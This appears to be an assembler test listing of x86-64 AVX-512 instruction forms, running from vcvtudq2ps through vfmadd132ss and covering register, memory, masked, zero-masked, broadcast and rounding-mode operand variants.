vcvtudq2ps xmm2{k5}, xmm0
vcvtudq2ps xmm2{k5}, [rbx]
vcvtudq2ps xmm2{k5}, [rbx]{1to4}
vcvtudq2ps xmm2{k5}, [rbx+r11*8+256]
vcvtudq2ps xmm2{k5}, [rbx+r11*8-256]
vcvtudq2ps xmm2{k5}{z}, xmm0
vcvtudq2ps xmm2{k5}{z}, [rbx]
vcvtudq2ps xmm2{k5}{z}, [rbx]{1to4}
vcvtudq2ps xmm2{k5}{z}, [rbx+r11*8+256]
vcvtudq2ps xmm2{k5}{z}, [rbx+r11*8-256]
vcvtudq2ps ymm16, ymm15
vcvtudq2ps ymm16, [rbx]
vcvtudq2ps ymm16, [rbx]{1to8}
vcvtudq2ps ymm16, [rbx+r11*8+256]
vcvtudq2ps ymm16, [rbx+r11*8-256]
vcvtudq2ps ymm16{k5}, ymm15
vcvtudq2ps ymm16{k5}, [rbx]
vcvtudq2ps ymm16{k5}, [rbx]{1to8}
vcvtudq2ps ymm16{k5}, [rbx+r11*8+256]
vcvtudq2ps ymm16{k5}, [rbx+r11*8-256]
vcvtudq2ps ymm16{k5}{z}, ymm15
vcvtudq2ps ymm16{k5}{z}, [rbx]
vcvtudq2ps ymm16{k5}{z}, [rbx]{1to8}
vcvtudq2ps ymm16{k5}{z}, [rbx+r11*8+256]
vcvtudq2ps ymm16{k5}{z}, [rbx+r11*8-256]
vcvtudq2ps zmm24, zmm31
vcvtudq2ps zmm24, zmm31, {rd-sae}
vcvtudq2ps zmm24, [rbx]
vcvtudq2ps zmm24, [rbx]{1to16}
vcvtudq2ps zmm24, [rbx+r11*8+256]
vcvtudq2ps zmm24, [rbx+r11*8-256]
vcvtudq2ps zmm24{k5}, zmm31
vcvtudq2ps zmm24{k5}, zmm31, {rd-sae}
vcvtudq2ps zmm24{k5}, [rbx]
vcvtudq2ps zmm24{k5}, [rbx]{1to16}
vcvtudq2ps zmm24{k5}, [rbx+r11*8+256]
vcvtudq2ps zmm24{k5}, [rbx+r11*8-256]
vcvtudq2ps zmm24{k5}{z}, zmm31
vcvtudq2ps zmm24{k5}{z}, zmm31, {rd-sae}
vcvtudq2ps zmm24{k5}{z}, [rbx]
vcvtudq2ps zmm24{k5}{z}, [rbx]{1to16}
vcvtudq2ps zmm24{k5}{z}, [rbx+r11*8+256]
vcvtudq2ps zmm24{k5}{z}, [rbx+r11*8-256]
vcvtusi2sd xmm2, xmm7, ecx
vcvtusi2sd xmm2, xmm7, rcx
vcvtusi2sd xmm2, xmm7, ecx
vcvtusi2sd xmm2, xmm7, rcx
vcvtusi2ss xmm2, xmm7, ecx
vcvtusi2ss xmm2, xmm7, rcx
vdivpd xmm2, xmm7, xmm0
vdivpd xmm2, xmm7, [rbx]
vdivpd xmm2, xmm7, [rbx]{1to2}
vdivpd xmm2, xmm7, [rbx+r11*8+256]
vdivpd xmm2, xmm7, [rbx+r11*8-256]
vdivpd xmm2{k5}, xmm7, xmm0
vdivpd xmm2{k5}, xmm7, [rbx]
vdivpd xmm2{k5}, xmm7, [rbx]{1to2}
vdivpd xmm2{k5}, xmm7, [rbx+r11*8+256]
vdivpd xmm2{k5}, xmm7, [rbx+r11*8-256]
vdivpd xmm2{k5}{z}, xmm7, xmm0
vdivpd xmm2{k5}{z}, xmm7, [rbx]
vdivpd xmm2{k5}{z}, xmm7, [rbx]{1to2}
vdivpd xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vdivpd xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vdivpd ymm16, ymm13, ymm15
vdivpd ymm16, ymm13, [rbx]
vdivpd ymm16, ymm13, [rbx]{1to4}
vdivpd ymm16, ymm13, [rbx+r11*8+256]
vdivpd ymm16, ymm13, [rbx+r11*8-256]
vdivpd ymm16{k5}, ymm13, ymm15
vdivpd ymm16{k5}, ymm13, [rbx]
vdivpd ymm16{k5}, ymm13, [rbx]{1to4}
vdivpd ymm16{k5}, ymm13, [rbx+r11*8+256]
vdivpd ymm16{k5}, ymm13, [rbx+r11*8-256]
vdivpd ymm16{k5}{z}, ymm13, ymm15
vdivpd ymm16{k5}{z}, ymm13, [rbx]
vdivpd ymm16{k5}{z}, ymm13, [rbx]{1to4}
vdivpd ymm16{k5}{z}, ymm13, [rbx+r11*8+256]
vdivpd ymm16{k5}{z}, ymm13, [rbx+r11*8-256]
vdivpd zmm24, zmm24, zmm31
vdivpd zmm24, zmm24, zmm31, {rd-sae}
vdivpd zmm24, zmm24, [rbx]
vdivpd zmm24, zmm24, [rbx]{1to8}
vdivpd zmm24, zmm24, [rbx+r11*8+256]
vdivpd zmm24, zmm24, [rbx+r11*8-256]
vdivpd zmm24{k5}, zmm24, zmm31
vdivpd zmm24{k5}, zmm24, zmm31, {rd-sae}
vdivpd zmm24{k5}, zmm24, [rbx]
vdivpd zmm24{k5}, zmm24, [rbx]{1to8}
vdivpd zmm24{k5}, zmm24, [rbx+r11*8+256]
vdivpd zmm24{k5}, zmm24, [rbx+r11*8-256]
vdivpd zmm24{k5}{z}, zmm24, zmm31
vdivpd zmm24{k5}{z}, zmm24, zmm31, {rd-sae}
vdivpd zmm24{k5}{z}, zmm24, [rbx]
vdivpd zmm24{k5}{z}, zmm24, [rbx]{1to8}
vdivpd zmm24{k5}{z}, zmm24, [rbx+r11*8+256]
vdivpd zmm24{k5}{z}, zmm24, [rbx+r11*8-256]
vdivps xmm2, xmm7, xmm0
vdivps xmm2, xmm7, [rbx]
vdivps xmm2, xmm7, [rbx]{1to4}
vdivps xmm2, xmm7, [rbx+r11*8+256]
vdivps xmm2, xmm7, [rbx+r11*8-256]
vdivps xmm2{k5}, xmm7, xmm0
vdivps xmm2{k5}, xmm7, [rbx]
vdivps xmm2{k5}, xmm7, [rbx]{1to4}
vdivps xmm2{k5}, xmm7, [rbx+r11*8+256]
vdivps xmm2{k5}, xmm7, [rbx+r11*8-256]
vdivps xmm2{k5}{z}, xmm7, xmm0
vdivps xmm2{k5}{z}, xmm7, [rbx]
vdivps xmm2{k5}{z}, xmm7, [rbx]{1to4}
vdivps xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vdivps xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vdivps ymm16, ymm13, ymm15
vdivps ymm16, ymm13, [rbx]
vdivps ymm16, ymm13, [rbx]{1to8}
vdivps ymm16, ymm13, [rbx+r11*8+256]
vdivps ymm16, ymm13, [rbx+r11*8-256]
vdivps ymm16{k5}, ymm13, ymm15
vdivps ymm16{k5}, ymm13, [rbx]
vdivps ymm16{k5}, ymm13, [rbx]{1to8}
vdivps ymm16{k5}, ymm13, [rbx+r11*8+256]
vdivps ymm16{k5}, ymm13, [rbx+r11*8-256]
vdivps ymm16{k5}{z}, ymm13, ymm15
vdivps ymm16{k5}{z}, ymm13, [rbx]
vdivps ymm16{k5}{z}, ymm13, [rbx]{1to8}
vdivps ymm16{k5}{z}, ymm13, [rbx+r11*8+256]
vdivps ymm16{k5}{z}, ymm13, [rbx+r11*8-256]
vdivps zmm24, zmm24, zmm31
vdivps zmm24, zmm24, zmm31, {rd-sae}
vdivps zmm24, zmm24, [rbx]
vdivps zmm24, zmm24, [rbx]{1to16}
vdivps zmm24, zmm24, [rbx+r11*8+256]
vdivps zmm24, zmm24, [rbx+r11*8-256]
vdivps zmm24{k5}, zmm24, zmm31
vdivps zmm24{k5}, zmm24, zmm31, {rd-sae}
vdivps zmm24{k5}, zmm24, [rbx]
vdivps zmm24{k5}, zmm24, [rbx]{1to16}
vdivps zmm24{k5}, zmm24, [rbx+r11*8+256]
vdivps zmm24{k5}, zmm24, [rbx+r11*8-256]
vdivps zmm24{k5}{z}, zmm24, zmm31
vdivps zmm24{k5}{z}, zmm24, zmm31, {rd-sae}
vdivps zmm24{k5}{z}, zmm24, [rbx]
vdivps zmm24{k5}{z}, zmm24, [rbx]{1to16}
vdivps zmm24{k5}{z}, zmm24, [rbx+r11*8+256]
vdivps zmm24{k5}{z}, zmm24, [rbx+r11*8-256]
vdivsd xmm2, xmm7, xmm0
vdivsd xmm2, xmm7, xmm0, {rd-sae}
vdivsd xmm2, xmm7, [rbx]
vdivsd xmm2, xmm7, [rbx+r11*8+256]
vdivsd xmm2, xmm7, [rbx+r11*8-256]
vdivsd xmm2{k5}, xmm7, xmm0
vdivsd xmm2{k5}, xmm7, xmm0, {rd-sae}
vdivsd xmm2{k5}, xmm7, [rbx]
vdivsd xmm2{k5}, xmm7, [rbx+r11*8+256]
vdivsd xmm2{k5}, xmm7, [rbx+r11*8-256]
vdivsd xmm2{k5}{z}, xmm7, xmm0
vdivsd xmm2{k5}{z}, xmm7, xmm0, {rd-sae}
vdivsd xmm2{k5}{z}, xmm7, [rbx]
vdivsd xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vdivsd xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vdivss xmm2, xmm7, xmm0
vdivss xmm2, xmm7, xmm0, {rd-sae}
vdivss xmm2, xmm7, [rbx]
vdivss xmm2, xmm7, [rbx+r11*8+256]
vdivss xmm2, xmm7, [rbx+r11*8-256]
vdivss xmm2{k5}, xmm7, xmm0
vdivss xmm2{k5}, xmm7, xmm0, {rd-sae}
vdivss xmm2{k5}, xmm7, [rbx]
vdivss xmm2{k5}, xmm7, [rbx+r11*8+256]
vdivss xmm2{k5}, xmm7, [rbx+r11*8-256]
vdivss xmm2{k5}{z}, xmm7, xmm0
vdivss xmm2{k5}{z}, xmm7, xmm0, {rd-sae}
vdivss xmm2{k5}{z}, xmm7, [rbx]
vdivss xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vdivss xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vexpandpd xmm2, xmm0
vexpandpd xmm2, [rbx]
vexpandpd xmm2, [rbx+r11*8+256]
vexpandpd xmm2, [rbx+r11*8-256]
vexpandpd xmm2{k5}, xmm0
vexpandpd xmm2{k5}, [rbx]
vexpandpd xmm2{k5}, [rbx+r11*8+256]
vexpandpd xmm2{k5}, [rbx+r11*8-256]
vexpandpd xmm2{k5}{z}, xmm0
vexpandpd xmm2{k5}{z}, [rbx]
vexpandpd xmm2{k5}{z}, [rbx+r11*8+256]
vexpandpd xmm2{k5}{z}, [rbx+r11*8-256]
vexpandpd ymm16, ymm15
vexpandpd ymm16, [rbx]
vexpandpd ymm16, [rbx+r11*8+256]
vexpandpd ymm16, [rbx+r11*8-256]
vexpandpd ymm16{k5}, ymm15
vexpandpd ymm16{k5}, [rbx]
vexpandpd ymm16{k5}, [rbx+r11*8+256]
vexpandpd ymm16{k5}, [rbx+r11*8-256]
vexpandpd ymm16{k5}{z}, ymm15
vexpandpd ymm16{k5}{z}, [rbx]
vexpandpd ymm16{k5}{z}, [rbx+r11*8+256]
vexpandpd ymm16{k5}{z}, [rbx+r11*8-256]
vexpandpd zmm24, zmm31
vexpandpd zmm24, [rbx]
vexpandpd zmm24, [rbx+r11*8+256]
vexpandpd zmm24, [rbx+r11*8-256]
vexpandpd zmm24{k5}, zmm31
vexpandpd zmm24{k5}, [rbx]
vexpandpd zmm24{k5}, [rbx+r11*8+256]
vexpandpd zmm24{k5}, [rbx+r11*8-256]
vexpandpd zmm24{k5}{z}, zmm31
vexpandpd zmm24{k5}{z}, [rbx]
vexpandpd zmm24{k5}{z}, [rbx+r11*8+256]
vexpandpd zmm24{k5}{z}, [rbx+r11*8-256]
vexpandps xmm2, xmm0
vexpandps xmm2, [rbx]
vexpandps xmm2, [rbx+r11*8+256]
vexpandps xmm2, [rbx+r11*8-256]
vexpandps xmm2{k5}, xmm0
vexpandps xmm2{k5}, [rbx]
vexpandps xmm2{k5}, [rbx+r11*8+256]
vexpandps xmm2{k5}, [rbx+r11*8-256]
vexpandps xmm2{k5}{z}, xmm0
vexpandps xmm2{k5}{z}, [rbx]
vexpandps xmm2{k5}{z}, [rbx+r11*8+256]
vexpandps xmm2{k5}{z}, [rbx+r11*8-256]
vexpandps ymm16, ymm15
vexpandps ymm16, [rbx]
vexpandps ymm16, [rbx+r11*8+256]
vexpandps ymm16, [rbx+r11*8-256]
vexpandps ymm16{k5}, ymm15
vexpandps ymm16{k5}, [rbx]
vexpandps ymm16{k5}, [rbx+r11*8+256]
vexpandps ymm16{k5}, [rbx+r11*8-256]
vexpandps ymm16{k5}{z}, ymm15
vexpandps ymm16{k5}{z}, [rbx]
vexpandps ymm16{k5}{z}, [rbx+r11*8+256]
vexpandps ymm16{k5}{z}, [rbx+r11*8-256]
vexpandps zmm24, zmm31
vexpandps zmm24, [rbx]
vexpandps zmm24, [rbx+r11*8+256]
vexpandps zmm24, [rbx+r11*8-256]
vexpandps zmm24{k5}, zmm31
vexpandps zmm24{k5}, [rbx]
vexpandps zmm24{k5}, [rbx+r11*8+256]
vexpandps zmm24{k5}, [rbx+r11*8-256]
vexpandps zmm24{k5}{z}, zmm31
vexpandps zmm24{k5}{z}, [rbx]
vexpandps zmm24{k5}{z}, [rbx+r11*8+256]
vexpandps zmm24{k5}{z}, [rbx+r11*8-256]
vextractf32x4 xmm0, ymm16, 10
vextractf32x4 xmm0, zmm24, 10
vextractf32x4 [rbx], ymm16, 10
vextractf32x4 [rbx], zmm24, 10
vextractf32x4 [rbx+r11*8+256], ymm16, 10
vextractf32x4 [rbx+r11*8+256], zmm24, 10
vextractf32x4 [rbx+r11*8-256], ymm16, 10
vextractf32x4 [rbx+r11*8-256], zmm24, 10
vextractf64x4 ymm15, zmm24, 10
vextractf64x4 [rbx], zmm24, 10
vextractf64x4 [rbx+r11*8+256], zmm24, 10
vextractf64x4 [rbx+r11*8-256], zmm24, 10
vextracti32x4 xmm0, ymm16, 10
vextracti32x4 xmm0, zmm24, 10
vextracti32x4 [rbx], ymm16, 10
vextracti32x4 [rbx], zmm24, 10
vextracti32x4 [rbx+r11*8+256], ymm16, 10
vextracti32x4 [rbx+r11*8+256], zmm24, 10
vextracti32x4 [rbx+r11*8-256], ymm16, 10
vextracti32x4 [rbx+r11*8-256], zmm24, 10
vextracti64x4 ymm15, zmm24, 10
vextracti64x4 [rbx], zmm24, 10
vextracti64x4 [rbx+r11*8+256], zmm24, 10
vextracti64x4 [rbx+r11*8-256], zmm24, 10
vextractps [rbx], xmm2, 10
vextractps [rbx+rsi*8+256], xmm2, 10
vextractps [rbx+rsi*8-256], xmm2, 10
vextractps ecx, xmm2, 10
vextractps rcx, xmm2, 10
vfixupimmpd xmm2, xmm7, xmm0, 10
vfixupimmpd xmm2, xmm7, [rbx], 10
vfixupimmpd xmm2, xmm7, [rbx]{1to2}, 10
vfixupimmpd xmm2, xmm7, [rbx+r11*8+256], 10
vfixupimmpd xmm2, xmm7, [rbx+r11*8-256], 10
vfixupimmpd xmm2{k5}, xmm7, xmm0, 10
vfixupimmpd xmm2{k5}, xmm7, [rbx], 10
vfixupimmpd xmm2{k5}, xmm7, [rbx]{1to2}, 10
vfixupimmpd xmm2{k5}, xmm7, [rbx+r11*8+256], 10
vfixupimmpd xmm2{k5}, xmm7, [rbx+r11*8-256], 10
vfixupimmpd xmm2{k5}{z}, xmm7, xmm0, 10
vfixupimmpd xmm2{k5}{z}, xmm7, [rbx], 10
vfixupimmpd xmm2{k5}{z}, xmm7, [rbx]{1to2}, 10
vfixupimmpd xmm2{k5}{z}, xmm7, [rbx+r11*8+256], 10
vfixupimmpd xmm2{k5}{z}, xmm7, [rbx+r11*8-256], 10
vfixupimmpd ymm16, ymm13, ymm15, 10
vfixupimmpd ymm16, ymm13, [rbx], 10
vfixupimmpd ymm16, ymm13, [rbx]{1to4}, 10
vfixupimmpd ymm16, ymm13, [rbx+r11*8+256], 10
vfixupimmpd ymm16, ymm13, [rbx+r11*8-256], 10
vfixupimmpd ymm16{k5}, ymm13, ymm15, 10
vfixupimmpd ymm16{k5}, ymm13, [rbx], 10
vfixupimmpd ymm16{k5}, ymm13, [rbx]{1to4}, 10
vfixupimmpd ymm16{k5}, ymm13, [rbx+r11*8+256], 10
vfixupimmpd ymm16{k5}, ymm13, [rbx+r11*8-256], 10
vfixupimmpd ymm16{k5}{z}, ymm13, ymm15, 10
vfixupimmpd ymm16{k5}{z}, ymm13, [rbx], 10
vfixupimmpd ymm16{k5}{z}, ymm13, [rbx]{1to4}, 10
vfixupimmpd ymm16{k5}{z}, ymm13, [rbx+r11*8+256], 10
vfixupimmpd ymm16{k5}{z}, ymm13, [rbx+r11*8-256], 10
vfixupimmpd zmm24, zmm24, zmm31, 10
vfixupimmpd zmm24, zmm24, [rbx], 10
vfixupimmpd zmm24, zmm24, [rbx]{1to8}, 10
vfixupimmpd zmm24, zmm24, [rbx+r11*8+256], 10
vfixupimmpd zmm24, zmm24, [rbx+r11*8-256], 10
vfixupimmpd zmm24{k5}, zmm24, zmm31, 10
vfixupimmpd zmm24{k5}, zmm24, [rbx], 10
vfixupimmpd zmm24{k5}, zmm24, [rbx]{1to8}, 10
vfixupimmpd zmm24{k5}, zmm24, [rbx+r11*8+256], 10
vfixupimmpd zmm24{k5}, zmm24, [rbx+r11*8-256], 10
vfixupimmpd zmm24{k5}{z}, zmm24, zmm31, 10
vfixupimmpd zmm24{k5}{z}, zmm24, [rbx], 10
vfixupimmpd zmm24{k5}{z}, zmm24, [rbx]{1to8}, 10
vfixupimmpd zmm24{k5}{z}, zmm24, [rbx+r11*8+256], 10
vfixupimmpd zmm24{k5}{z}, zmm24, [rbx+r11*8-256], 10
vfixupimmps xmm2, xmm7, xmm0, 10
vfixupimmps xmm2, xmm7, [rbx], 10
vfixupimmps xmm2, xmm7, [rbx]{1to4}, 10
vfixupimmps xmm2, xmm7, [rbx+r11*8+256], 10
vfixupimmps xmm2, xmm7, [rbx+r11*8-256], 10
vfixupimmps xmm2{k5}, xmm7, xmm0, 10
vfixupimmps xmm2{k5}, xmm7, [rbx], 10
vfixupimmps xmm2{k5}, xmm7, [rbx]{1to4}, 10
vfixupimmps xmm2{k5}, xmm7, [rbx+r11*8+256], 10
vfixupimmps xmm2{k5}, xmm7, [rbx+r11*8-256], 10
vfixupimmps xmm2{k5}{z}, xmm7, xmm0, 10
vfixupimmps xmm2{k5}{z}, xmm7, [rbx], 10
vfixupimmps xmm2{k5}{z}, xmm7, [rbx]{1to4}, 10
vfixupimmps xmm2{k5}{z}, xmm7, [rbx+r11*8+256], 10
vfixupimmps xmm2{k5}{z}, xmm7, [rbx+r11*8-256], 10
vfixupimmps ymm16, ymm13, ymm15, 10
vfixupimmps ymm16, ymm13, [rbx], 10
vfixupimmps ymm16, ymm13, [rbx]{1to8}, 10
vfixupimmps ymm16, ymm13, [rbx+r11*8+256], 10
vfixupimmps ymm16, ymm13, [rbx+r11*8-256], 10
vfixupimmps ymm16{k5}, ymm13, ymm15, 10
vfixupimmps ymm16{k5}, ymm13, [rbx], 10
vfixupimmps ymm16{k5}, ymm13, [rbx]{1to8}, 10
vfixupimmps ymm16{k5}, ymm13, [rbx+r11*8+256], 10
vfixupimmps ymm16{k5}, ymm13, [rbx+r11*8-256], 10
vfixupimmps ymm16{k5}{z}, ymm13, ymm15, 10
vfixupimmps ymm16{k5}{z}, ymm13, [rbx], 10
vfixupimmps ymm16{k5}{z}, ymm13, [rbx]{1to8}, 10
vfixupimmps ymm16{k5}{z}, ymm13, [rbx+r11*8+256], 10
vfixupimmps ymm16{k5}{z}, ymm13, [rbx+r11*8-256], 10
vfixupimmps zmm24, zmm24, zmm31, 10
vfixupimmps zmm24, zmm24, [rbx], 10
vfixupimmps zmm24, zmm24, [rbx]{1to16}, 10
vfixupimmps zmm24, zmm24, [rbx+r11*8+256], 10
vfixupimmps zmm24, zmm24, [rbx+r11*8-256], 10
vfixupimmps zmm24{k5}, zmm24, zmm31, 10
vfixupimmps zmm24{k5}, zmm24, [rbx], 10
vfixupimmps zmm24{k5}, zmm24, [rbx]{1to16}, 10
vfixupimmps zmm24{k5}, zmm24, [rbx+r11*8+256], 10
vfixupimmps zmm24{k5}, zmm24, [rbx+r11*8-256], 10
vfixupimmps zmm24{k5}{z}, zmm24, zmm31, 10
vfixupimmps zmm24{k5}{z}, zmm24, [rbx], 10
vfixupimmps zmm24{k5}{z}, zmm24, [rbx]{1to16}, 10
vfixupimmps zmm24{k5}{z}, zmm24, [rbx+r11*8+256], 10
vfixupimmps zmm24{k5}{z}, zmm24, [rbx+r11*8-256], 10
vfixupimmsd xmm2, xmm7, xmm0, 10
vfixupimmsd xmm2, xmm7, [rbx], 10
vfixupimmsd xmm2, xmm7, [rbx+r11*8+256], 10
vfixupimmsd xmm2, xmm7, [rbx+r11*8-256], 10
vfixupimmsd xmm2{k5}, xmm7, xmm0, 10
vfixupimmsd xmm2{k5}, xmm7, [rbx], 10
vfixupimmsd xmm2{k5}, xmm7, [rbx+r11*8+256], 10
vfixupimmsd xmm2{k5}, xmm7, [rbx+r11*8-256], 10
vfixupimmsd xmm2{k5}{z}, xmm7, xmm0, 10
vfixupimmsd xmm2{k5}{z}, xmm7, [rbx], 10
vfixupimmsd xmm2{k5}{z}, xmm7, [rbx+r11*8+256], 10
vfixupimmsd xmm2{k5}{z}, xmm7, [rbx+r11*8-256], 10
vfixupimmss xmm2, xmm7, xmm0, 10
vfixupimmss xmm2, xmm7, [rbx], 10
vfixupimmss xmm2, xmm7, [rbx+r11*8+256], 10
vfixupimmss xmm2, xmm7, [rbx+r11*8-256], 10
vfixupimmss xmm2{k5}, xmm7, xmm0, 10
vfixupimmss xmm2{k5}, xmm7, [rbx], 10
vfixupimmss xmm2{k5}, xmm7, [rbx+r11*8+256], 10
vfixupimmss xmm2{k5}, xmm7, [rbx+r11*8-256], 10
vfixupimmss xmm2{k5}{z}, xmm7, xmm0, 10
vfixupimmss xmm2{k5}{z}, xmm7, [rbx], 10
vfixupimmss xmm2{k5}{z}, xmm7, [rbx+r11*8+256], 10
vfixupimmss xmm2{k5}{z}, xmm7, [rbx+r11*8-256], 10
vfmadd132pd xmm2, xmm7, xmm0
vfmadd132pd xmm2, xmm7, [rbx]
vfmadd132pd xmm2, xmm7, [rbx]{1to2}
vfmadd132pd xmm2, xmm7, [rbx+r11*8+256]
vfmadd132pd xmm2, xmm7, [rbx+r11*8-256]
vfmadd132pd xmm2{k5}, xmm7, xmm0
vfmadd132pd xmm2{k5}, xmm7, [rbx]
vfmadd132pd xmm2{k5}, xmm7, [rbx]{1to2}
vfmadd132pd xmm2{k5}, xmm7, [rbx+r11*8+256]
vfmadd132pd xmm2{k5}, xmm7, [rbx+r11*8-256]
vfmadd132pd xmm2{k5}{z}, xmm7, xmm0
vfmadd132pd xmm2{k5}{z}, xmm7, [rbx]
vfmadd132pd xmm2{k5}{z}, xmm7, [rbx]{1to2}
vfmadd132pd xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vfmadd132pd xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vfmadd132pd ymm16, ymm13, ymm15
vfmadd132pd ymm16, ymm13, [rbx]
vfmadd132pd ymm16, ymm13, [rbx]{1to4}
vfmadd132pd ymm16, ymm13, [rbx+r11*8+256]
vfmadd132pd ymm16, ymm13, [rbx+r11*8-256]
vfmadd132pd ymm16{k5}, ymm13, ymm15
vfmadd132pd ymm16{k5}, ymm13, [rbx]
vfmadd132pd ymm16{k5}, ymm13, [rbx]{1to4}
vfmadd132pd ymm16{k5}, ymm13, [rbx+r11*8+256]
vfmadd132pd ymm16{k5}, ymm13, [rbx+r11*8-256]
vfmadd132pd ymm16{k5}{z}, ymm13, ymm15
vfmadd132pd ymm16{k5}{z}, ymm13, [rbx]
vfmadd132pd ymm16{k5}{z}, ymm13, [rbx]{1to4}
vfmadd132pd ymm16{k5}{z}, ymm13, [rbx+r11*8+256]
vfmadd132pd ymm16{k5}{z}, ymm13, [rbx+r11*8-256]
vfmadd132pd zmm24, zmm24, zmm31
vfmadd132pd zmm24, zmm24, zmm31, {rd-sae}
vfmadd132pd zmm24, zmm24, [rbx]
vfmadd132pd zmm24, zmm24, [rbx]{1to8}
vfmadd132pd zmm24, zmm24, [rbx+r11*8+256]
vfmadd132pd zmm24, zmm24, [rbx+r11*8-256]
vfmadd132pd zmm24{k5}, zmm24, zmm31
vfmadd132pd zmm24{k5}, zmm24, zmm31, {rd-sae}
vfmadd132pd zmm24{k5}, zmm24, [rbx]
vfmadd132pd zmm24{k5}, zmm24, [rbx]{1to8}
vfmadd132pd zmm24{k5}, zmm24, [rbx+r11*8+256]
vfmadd132pd zmm24{k5}, zmm24, [rbx+r11*8-256]
vfmadd132pd zmm24{k5}{z}, zmm24, zmm31
vfmadd132pd zmm24{k5}{z}, zmm24, zmm31, {rd-sae}
vfmadd132pd zmm24{k5}{z}, zmm24, [rbx]
vfmadd132pd zmm24{k5}{z}, zmm24, [rbx]{1to8}
vfmadd132pd zmm24{k5}{z}, zmm24, [rbx+r11*8+256]
vfmadd132pd zmm24{k5}{z}, zmm24, [rbx+r11*8-256]
vfmadd132ps xmm2, xmm7, xmm0
vfmadd132ps xmm2, xmm7, [rbx]
vfmadd132ps xmm2, xmm7, [rbx]{1to4}
vfmadd132ps xmm2, xmm7, [rbx+r11*8+256]
vfmadd132ps xmm2, xmm7, [rbx+r11*8-256]
vfmadd132ps xmm2{k5}, xmm7, xmm0
vfmadd132ps xmm2{k5}, xmm7, [rbx]
vfmadd132ps xmm2{k5}, xmm7, [rbx]{1to4}
vfmadd132ps xmm2{k5}, xmm7, [rbx+r11*8+256]
vfmadd132ps xmm2{k5}, xmm7, [rbx+r11*8-256]
vfmadd132ps xmm2{k5}{z}, xmm7, xmm0
vfmadd132ps xmm2{k5}{z}, xmm7, [rbx]
vfmadd132ps xmm2{k5}{z}, xmm7, [rbx]{1to4}
vfmadd132ps xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vfmadd132ps xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vfmadd132ps ymm16, ymm13, ymm15
vfmadd132ps ymm16, ymm13, [rbx]
vfmadd132ps ymm16, ymm13, [rbx]{1to8}
vfmadd132ps ymm16, ymm13, [rbx+r11*8+256]
vfmadd132ps ymm16, ymm13, [rbx+r11*8-256]
vfmadd132ps ymm16{k5}, ymm13, ymm15
vfmadd132ps ymm16{k5}, ymm13, [rbx]
vfmadd132ps ymm16{k5}, ymm13, [rbx]{1to8}
vfmadd132ps ymm16{k5}, ymm13, [rbx+r11*8+256]
vfmadd132ps ymm16{k5}, ymm13, [rbx+r11*8-256]
vfmadd132ps ymm16{k5}{z}, ymm13, ymm15
vfmadd132ps ymm16{k5}{z}, ymm13, [rbx]
vfmadd132ps ymm16{k5}{z}, ymm13, [rbx]{1to8}
vfmadd132ps ymm16{k5}{z}, ymm13, [rbx+r11*8+256]
vfmadd132ps ymm16{k5}{z}, ymm13, [rbx+r11*8-256]
vfmadd132ps zmm24, zmm24, zmm31
vfmadd132ps zmm24, zmm24, zmm31, {rd-sae}
vfmadd132ps zmm24, zmm24, [rbx]
vfmadd132ps zmm24, zmm24, [rbx]{1to16}
vfmadd132ps zmm24, zmm24, [rbx+r11*8+256]
vfmadd132ps zmm24, zmm24, [rbx+r11*8-256]
vfmadd132ps zmm24{k5}, zmm24, zmm31
vfmadd132ps zmm24{k5}, zmm24, zmm31, {rd-sae}
vfmadd132ps zmm24{k5}, zmm24, [rbx]
vfmadd132ps zmm24{k5}, zmm24, [rbx]{1to16}
vfmadd132ps zmm24{k5}, zmm24, [rbx+r11*8+256]
vfmadd132ps zmm24{k5}, zmm24, [rbx+r11*8-256]
vfmadd132ps zmm24{k5}{z}, zmm24, zmm31
vfmadd132ps zmm24{k5}{z}, zmm24, zmm31, {rd-sae}
vfmadd132ps zmm24{k5}{z}, zmm24, [rbx]
vfmadd132ps zmm24{k5}{z}, zmm24, [rbx]{1to16}
vfmadd132ps zmm24{k5}{z}, zmm24, [rbx+r11*8+256]
vfmadd132ps zmm24{k5}{z}, zmm24, [rbx+r11*8-256]
vfmadd132sd xmm2, xmm7, xmm0
vfmadd132sd xmm2, xmm7, xmm0, {rd-sae}
vfmadd132sd xmm2, xmm7, [rbx]
vfmadd132sd xmm2, xmm7, [rbx+r11*8+256]
vfmadd132sd xmm2, xmm7, [rbx+r11*8-256]
vfmadd132sd xmm2{k5}, xmm7, xmm0
vfmadd132sd xmm2{k5}, xmm7, xmm0, {rd-sae}
vfmadd132sd xmm2{k5}, xmm7, [rbx]
vfmadd132sd xmm2{k5}, xmm7, [rbx+r11*8+256]
vfmadd132sd xmm2{k5}, xmm7, [rbx+r11*8-256]
vfmadd132sd xmm2{k5}{z}, xmm7, xmm0
vfmadd132sd xmm2{k5}{z}, xmm7, xmm0, {rd-sae}
vfmadd132sd xmm2{k5}{z}, xmm7, [rbx]
vfmadd132sd xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vfmadd132sd xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vfmadd132ss xmm2, xmm7, xmm0
vfmadd132ss xmm2, xmm7, xmm0, {rd-sae}
vfmadd132ss xmm2, xmm7, [rbx]
vfmadd132ss xmm2, xmm7, [rbx+r11*8+256]
vfmadd132ss xmm2, xmm7, [rbx+r11*8-256]
vfmadd132ss xmm2{k5}, xmm7, xmm0
vfmadd132ss xmm2{k5}, xmm7, xmm0, {rd-sae}
vfmadd132ss xmm2{k5}, xmm7, [rbx]
vfmadd132ss xmm2{k5}, xmm7, [rbx+r11*8+256]
vfmadd132ss xmm2{k5}, xmm7, [rbx+r11*8-256]
vfmadd132ss xmm2{k5}{z}, xmm7, xmm0
vfmadd132ss xmm2{k5}{z}, xmm7, xmm0, {rd-sae}
vfmadd132ss xmm2{k5}{z}, xmm7, [rbx]
vfmadd132ss xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vfmadd132ss xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
